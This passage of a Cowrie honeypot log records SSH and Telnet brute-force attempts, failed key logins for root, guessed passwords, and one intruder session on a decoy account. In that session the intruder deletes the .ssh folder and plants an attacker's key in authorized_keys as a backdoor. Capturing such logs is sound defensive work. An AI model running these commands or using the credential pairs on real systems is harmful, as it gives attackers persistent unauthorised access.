{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:06:2f:d7:93:0c:0f:08:a4:6f:be:e2:1d:b3:04:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4d+0URckbARAkMHieW4Wh/j5WxbtqgmNKbtdTDF8rox2LjJOamCySvrCUTNb+jMZL+SqFt2ysxz0KORCjE0uok9LSc2MJvUx0jNR2EE3rZYO0XtZCpuWXWIgwI9J7pU9UM+FMyIUX8snnhx6tgPTUozEJq59JePk4ycDVnnBT5rNYXjN6ZgSybnGzDJM5rPb1ChwFf/Zg6g1T7YnCqSQvYlAv+eqc+wQjBy3ZkhOjGZigjaYqxQDvX0h3WpyuIdlUvpqmKZ2QQs+lvWLch/iw7kkjFYk2LZN2CB5wnGQRwJ9LK1Ga1TfMmxukAH7Uo4rT+UM5jUIlBnp3h0eXVNuJvN40wQQ7W10NG8m+n0Yo3cdBdfFbqBpF9XV9xPFWFXoDRgaEEBSDj4bFleOylY3E0/reBr38HjYTvuO5jNNIZXVK2vvwvdAiy2iUWRD5+oFyp5Tzn4sP6vXgNXTJ/JZCjWo0sH/H33p1tA60vIE8DGMNKD7zUyzKskDcJE8uaDUT8pLYJe1SXovgkh6WNl4puciEd+l7Nj6c/iuibGq8UOXflYzQOMBSRY/YFv5AVwu7QPw9LW5+e46EQqs44jIARemQUzlGWEJcAFEKKUgdAS4jahVWuY9XXSkGVGti+nm5S8GygTLuXoouNkJI3GLnr0qS+5dvknH9ZjAO2Wc3Qw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:37:15.218909Z","src_ip":"89.42.231.160","session":"232db012d825","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:d9:01:aa:bf:7d:c0:91:60:7d:9e:c2:20:ca:f9:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/Cux2u+HXpqYxmQB2Qam5LBEZGRlFSC27AoZwROOOwnJfK5U36SLWQJrqiHEDQGg5qP4NzlF6nwks135Rksv5j00z7EXoPwPRbNInLIkZnfP+l03vbDt728MzHsSEyNmrZF0JYSD7FpKwbqwfXcuA7Jn4mNA3J+jeIXGf/Q9pSGfuk2sYoQxqaRaj+SrTbIcFtjkMWFz46R4hNCCJ2+mX+On/y8GoD+HyeTkn4z4VRE2jxppw/N9JOjgFAnAN/OE8EN+qzxgCu/345IhisSBWl4C93ld/0fuz6EWTgWyhnKHPKcucV9DhqVhDSmdm0Z1yplfnMeaaZbl+kVs/15vaxU7iNs9qwIsJtWYxwaPhohBxM6ufaF9RhYq4MtbCxHmd0rB4bWjyfUpL4BK98FVkdr38lEuEp8bzlb5ssOWxb1yMzyhMxO2EPfCuvy4faU2awceOH/QQ7iEWYZfq6nz6/9uyZYvIuTYQwinov3T/xystObyGAcZ8zsPGRK2BEHU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:d9:01:aa:bf:7d:c0:91:60:7d:9e:c2:20:ca:f9:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:37:15.313623Z","src_ip":"89.42.231.160","session":"232db012d825","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:d9:01:aa:bf:7d:c0:91:60:7d:9e:c2:20:ca:f9:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/Cux2u+HXpqYxmQB2Qam5LBEZGRlFSC27AoZwROOOwnJfK5U36SLWQJrqiHEDQGg5qP4NzlF6nwks135Rksv5j00z7EXoPwPRbNInLIkZnfP+l03vbDt728MzHsSEyNmrZF0JYSD7FpKwbqwfXcuA7Jn4mNA3J+jeIXGf/Q9pSGfuk2sYoQxqaRaj+SrTbIcFtjkMWFz46R4hNCCJ2+mX+On/y8GoD+HyeTkn4z4VRE2jxppw/N9JOjgFAnAN/OE8EN+qzxgCu/345IhisSBWl4C93ld/0fuz6EWTgWyhnKHPKcucV9DhqVhDSmdm0Z1yplfnMeaaZbl+kVs/15vaxU7iNs9qwIsJtWYxwaPhohBxM6ufaF9RhYq4MtbCxHmd0rB4bWjyfUpL4BK98FVkdr38lEuEp8bzlb5ssOWxb1yMzyhMxO2EPfCuvy4faU2awceOH/QQ7iEWYZfq6nz6/9uyZYvIuTYQwinov3T/xystObyGAcZ8zsPGRK2BEHU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:37:15.317768Z","src_ip":"89.42.231.160","session":"232db012d825","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:9b:b7:1e:1d:bf:8e:42:25:4f:e0:9d:8a:2c:b2:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSMLfk83HoSpaWtIPZkhBVWOXvPbzbhxFa8+09By9TqyAJ2pLZDbViLZbjciAKm0galggsdwe6dhz/qUT2wnw39FS1CQf0R5keKP/TvPgiUB6tI0WAk2wy922skUk6b6QVp8ZvVw2BaSiHpNr3bzH1/lpiuwdYAtbpQOCBL+SfxgZ+Sg0zmSlKCdHx6JZTsAdaEhTlcI1QFRBTceu/lewrUDoki0DE2P+AbwyGeyluKCaJcdxVkZx75qTsmKdptXEM5nhAEIgCWRtG/wxdrKoo4Rnm16gCGrNMPONTFXtQpSfsp2r4tvB7UEu6s3TRbXPA5gIWhw8BnaFRv1zSFX5wGfflCrd6vGThhEQ442/WjQoH+RTvpJXRCk/TQ8MdiUdI7tCNu5Z/y8aOU79ndkfBrf98F32aWotiQahREVmeB66S/0RlPQWmqTYESwDyiPxWwFfwK+OlMuilAdQLFWu3QDOXV+XzsXSwO/7YSLMB/Vx/0VjvU7j47JY4cNr7Vv9cRouf8hyCW6LviuvHgoHfLl1qSraH8XyS8ZciTeYK3D+h2U+MsEhYBuOBfWyGvZOKZk3fqHg6Yr0rdoV8jIRQwDFh89NGZGclYKgHUU+XC5+U8cpB4x2PIRM2yTtsi+k9Ra4aIzb0U4f9oZXvrsuKdjm25ZEJoUts9NcdxRIbDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:9b:b7:1e:1d:bf:8e:42:25:4f:e0:9d:8a:2c:b2:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:37:15.409700Z","src_ip":"89.42.231.160","session":"232db012d825","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:9b:b7:1e:1d:bf:8e:42:25:4f:e0:9d:8a:2c:b2:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSMLfk83HoSpaWtIPZkhBVWOXvPbzbhxFa8+09By9TqyAJ2pLZDbViLZbjciAKm0galggsdwe6dhz/qUT2wnw39FS1CQf0R5keKP/TvPgiUB6tI0WAk2wy922skUk6b6QVp8ZvVw2BaSiHpNr3bzH1/lpiuwdYAtbpQOCBL+SfxgZ+Sg0zmSlKCdHx6JZTsAdaEhTlcI1QFRBTceu/lewrUDoki0DE2P+AbwyGeyluKCaJcdxVkZx75qTsmKdptXEM5nhAEIgCWRtG/wxdrKoo4Rnm16gCGrNMPONTFXtQpSfsp2r4tvB7UEu6s3TRbXPA5gIWhw8BnaFRv1zSFX5wGfflCrd6vGThhEQ442/WjQoH+RTvpJXRCk/TQ8MdiUdI7tCNu5Z/y8aOU79ndkfBrf98F32aWotiQahREVmeB66S/0RlPQWmqTYESwDyiPxWwFfwK+OlMuilAdQLFWu3QDOXV+XzsXSwO/7YSLMB/Vx/0VjvU7j47JY4cNr7Vv9cRouf8hyCW6LviuvHgoHfLl1qSraH8XyS8ZciTeYK3D+h2U+MsEhYBuOBfWyGvZOKZk3fqHg6Yr0rdoV8jIRQwDFh89NGZGclYKgHUU+XC5+U8cpB4x2PIRM2yTtsi+k9Ra4aIzb0U4f9oZXvrsuKdjm25ZEJoUts9NcdxRIbDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:37:15.414426Z","src_ip":"89.42.231.160","session":"232db012d825","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:0d:61:e4:3c:7b:7d:74:d3:50:28:88:db:e5:74:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAMpfgMVECb6FU5YgfDhAOG7kKEDw2PgBgoQIMTcWSFi68HnMvlgSSg3gBXtL8mZPBmbZlpXBCFKDY20jQvOUj5doWCEuziYhwrIjgtdGEyDL9CAJgw4rSBZQBmrepOym/Fmh60Fl2PLUlxC8GoMi+WL84c46u0AT7WX+22mNBq4mrWUaaIfCYe//WzRMsqrHYXX0HBR5SufV2grDwVm1bZo7Y2JCMZqWEB33LhpXfkFC+yqe5a3tW939kFKRQYdY0fz0leIYuraYg+FGSA5STImqvvy5y1o0Zg+zlmzpdXjzuyL9pMh3IABwTwsy4ErWJMJALPa+yxnZ5VBUc4DBP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c9:0d:61:e4:3c:7b:7d:74:d3:50:28:88:db:e5:74:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:37:15.506886Z","src_ip":"89.42.231.160","session":"232db012d825","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:0d:61:e4:3c:7b:7d:74:d3:50:28:88:db:e5:74:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAMpfgMVECb6FU5YgfDhAOG7kKEDw2PgBgoQIMTcWSFi68HnMvlgSSg3gBXtL8mZPBmbZlpXBCFKDY20jQvOUj5doWCEuziYhwrIjgtdGEyDL9CAJgw4rSBZQBmrepOym/Fmh60Fl2PLUlxC8GoMi+WL84c46u0AT7WX+22mNBq4mrWUaaIfCYe//WzRMsqrHYXX0HBR5SufV2grDwVm1bZo7Y2JCMZqWEB33LhpXfkFC+yqe5a3tW939kFKRQYdY0fz0leIYuraYg+FGSA5STImqvvy5y1o0Zg+zlmzpdXjzuyL9pMh3IABwTwsy4ErWJMJALPa+yxnZ5VBUc4DBP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:37:15.511251Z","src_ip":"89.42.231.160","session":"232db012d825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:37:15.603602Z","src_ip":"89.42.231.160","session":"232db012d825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.028303623199463,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:37:20.891241Z","src_ip":"109.182.115.233","session":"73d1f8035127","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":36468,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca88e2be48c9","protocol":"ssh","message":"New connection: 211.254.212.59:36468 (10.17.0.5:22) [session: ca88e2be48c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:38:03.284362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:38:03.289402Z","src_ip":"211.254.212.59","session":"ca88e2be48c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:38:03.491895Z","src_ip":"211.254.212.59","session":"ca88e2be48c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qwerty","message":"login attempt [deploy/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:38:04.331081Z","src_ip":"211.254.212.59","session":"ca88e2be48c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:38:05.536688Z","src_ip":"211.254.212.59","session":"ca88e2be48c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":53310,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c9fd9a77c0f","protocol":"ssh","message":"New connection: 211.254.212.59:53310 (10.17.0.5:22) [session: 8c9fd9a77c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:01.678486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:01.683352Z","src_ip":"211.254.212.59","session":"8c9fd9a77c0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:01.883224Z","src_ip":"211.254.212.59","session":"8c9fd9a77c0f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"ZAQ!2wsx","message":"login attempt [oracle/ZAQ!2wsx] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:02.710859Z","src_ip":"211.254.212.59","session":"8c9fd9a77c0f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:03.175179Z","src_ip":"211.254.212.59","session":"8c9fd9a77c0f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:03.178838Z","src_ip":"211.254.212.59","session":"8c9fd9a77c0f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:03.183225Z","src_ip":"211.254.212.59","session":"8c9fd9a77c0f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:03.388639Z","src_ip":"211.254.212.59","session":"8c9fd9a77c0f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:03.922766Z","src_ip":"211.254.212.59","session":"8c9fd9a77c0f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:03.931693Z","src_ip":"211.254.212.59","session":"8c9fd9a77c0f","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:04.139362Z","src_ip":"211.254.212.59","session":"8c9fd9a77c0f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:04.143282Z","src_ip":"211.254.212.59","session":"8c9fd9a77c0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":54236,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4f9d5ca1867","protocol":"ssh","message":"New connection: 211.254.212.59:54236 (10.17.0.5:22) [session: b4f9d5ca1867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:04.336499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:04.343027Z","src_ip":"211.254.212.59","session":"b4f9d5ca1867","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:04.548009Z","src_ip":"211.254.212.59","session":"b4f9d5ca1867","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:05.378703Z","src_ip":"211.254.212.59","session":"b4f9d5ca1867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:06.583642Z","src_ip":"211.254.212.59","session":"b4f9d5ca1867","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":55016,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e6a0336f65f","protocol":"ssh","message":"New connection: 211.254.212.59:55016 (10.17.0.5:22) [session: 0e6a0336f65f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:06.785984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:39:06.796127Z","src_ip":"211.254.212.59","session":"0e6a0336f65f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@